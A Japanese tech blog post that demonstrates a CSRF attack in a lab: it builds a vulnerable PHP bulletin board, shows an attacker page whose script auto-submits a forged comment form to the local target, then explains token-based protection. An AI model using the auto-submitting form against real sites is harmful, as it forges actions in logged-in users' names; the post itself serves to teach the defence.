LoginSignup
9
9

More than 3 years have passed since last update.

実際にCSRF攻撃してみた

Last updated at Posted at 2019-10-18

はじめに

CSRFについて解説している記事はたくさんありますが、具体的にどのような方法で攻撃されるのかを
解説している記事は少ないと思います。
そこで、今回は実際に脆弱なwebサイトを作り、それに対してCSRF攻撃を仕掛けてみたいと思います。

CSRFとは

CSRF(クロスサイトリクエストフォージェリ)は、webサービスの脆弱性を利用したサイバー攻撃の一種です。
標的となるwebサービスにログイン中のユーザーが、悪意のあるURLを開いた場合にユーザーの意図しないリクエストを標的webサービスに送信されてしまう攻撃です。
文字で表現しても伝わり辛いので実際に動作を確認してみましょう。

環境

・CentOS 7.7.1908
・Apache/2.4.6
・PHP 7.2.23
・MySQL 5.7.28

前提

PHPで以下の機能を持った今回の標的となる脆弱性のある簡素な掲示板アプリを用意しました。
・会員登録
・ログイン
・ログアウト
・コメント投稿
・コメント一覧表示

攻撃イメージ

標的サイトの動作確認

以下のフォームから入力されたコメントをそのままデータベースに登録します。(SQLインジェクションの危険があるのでエスケープ済み)
更新時、データベースに登録されたコメントがあれば一覧で表示します。

index.php
  <form action="" method="post">
    <input type="text" value="" name="comment">
    <input type="submit" value="投稿">
  </form>

CSRF攻撃用サイト準備

CSRF攻撃を行うために別サーバーで攻撃用サイトを立ち上げておきました。
攻撃内容としては、「ユーザーが意図しないコメントを勝手に投稿させる」です。
なので攻撃用サイトに以下のようなHTMLファイルを用意します。
ページを開いた瞬間にフォームを自動送信するJavaScriptが実行されます。

index.html
<!DOCTYPE html>
  <html lang="ja">
  <head>
    <meta charset="utf-8">
    <title>攻撃用サイト</title>
  </head>
  <body>
    <form name="trapform">
      <input type="text" value="〇〇に爆弾しかけた。" name="comment">
    </form>

    <script>
      // フォームを自動送信
      document.trapform.action = "http://192.168.33.10/view/index.php";
      document.trapform.method = "post";
      document.trapform.submit();
    </script>
  </body>
  </html>

CSRF攻撃実施

ログイン中に攻撃用サイトにアクセスすると、標的サイトに勝手にコメントが投稿されます。
linkにはCSRF攻撃用サイトへのリンクが張られています。
※XSS対策としてのhtml無効化処理は意図的にOFFにしています。

原因

なぜこのような攻撃が可能かというと、標的サイト側が「不特定のフォームからのリクエストを受け付けてしまう」脆弱性があるからです。
つまり、正規のフォームと、第三者が作成したフォームの区別がついていません。
なので、それらの区別ができるように標的サイト側が対策をしなければなりません。

対策

CSRF対策として一般的なトークンを付与する方法があります。

毎回正規のフォームにランダムな一意な値を付与します。

トークン生成
  $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(16));
index.php
  <form action="" method="post">
    <input type="text" value="" name="comment">
    <input type="hidden" value="<?= h($_SESSION["token"]) ?>" name="token">  ←生成したトークン付与
    <input type="submit" value="投稿">
  </form>

フォームからリクエストが来たら、それが正規のフォームからのリクエストかをトークンで区別します。
トークンが一致していれば正規のフォームからのリクエストだと判断できます。

サーバーサイド
  if (isset($_POST["token"]) && $_POST["token"] === $_SESSION["token"]) {
      正規のフォームからのリクエスト
    } else {
      非正規のフォームからのリクエスト
    }
9
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
9